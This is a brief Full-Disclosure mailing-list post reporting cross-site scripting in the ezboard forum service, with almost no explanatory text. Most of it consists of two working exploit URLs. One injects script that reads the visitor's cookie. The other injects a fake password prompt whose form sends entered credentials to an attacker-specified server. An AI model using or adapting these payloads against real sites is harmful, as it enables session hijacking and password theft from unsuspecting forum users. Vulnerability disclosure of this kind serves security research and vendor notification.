[Full-Disclosure] XSS in ezboard

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Issue : Cross site scripting in ezboard

Vendor status : developers were contacted

ezboard offers a free forum hosted at … bla … bla …
improper input validation … bla … bla … script or HTML
execution … bla … bla ( sorry but I don't have time
now for advisories )

Cross site scripting

http://www1.ezboard.com/invitefriends.php3?action=http://pub80.ezboard.com/ano.doTel
lAFriend&yourName=dav%22%3E%3Cscript%3Ealert(document.cookie);%3C/script%3
E

A more elaborated attack ( but still lame ) can be constructed

http://www1.ezboard.com/invitefriends.php3?action=http://[server]&yourName=%22%3E
%3Cp%3E%3Cb%3EYou%20must%20enter%20your%20password%20to%20invite%20
a%20friend%3C/b%3E%3Cp%3E%3Cinput%20type=password%20name=pass%3E%3
Cp%3E%3Cb%3EEnter%20your%20friend%20address%3C/b%3E%3Cp%3E%3Cinput
%20type=text%20name=mail%3E%3C/form%3E%3C!–

Regards ,

David F. Madrid ,
Madrid , Spain

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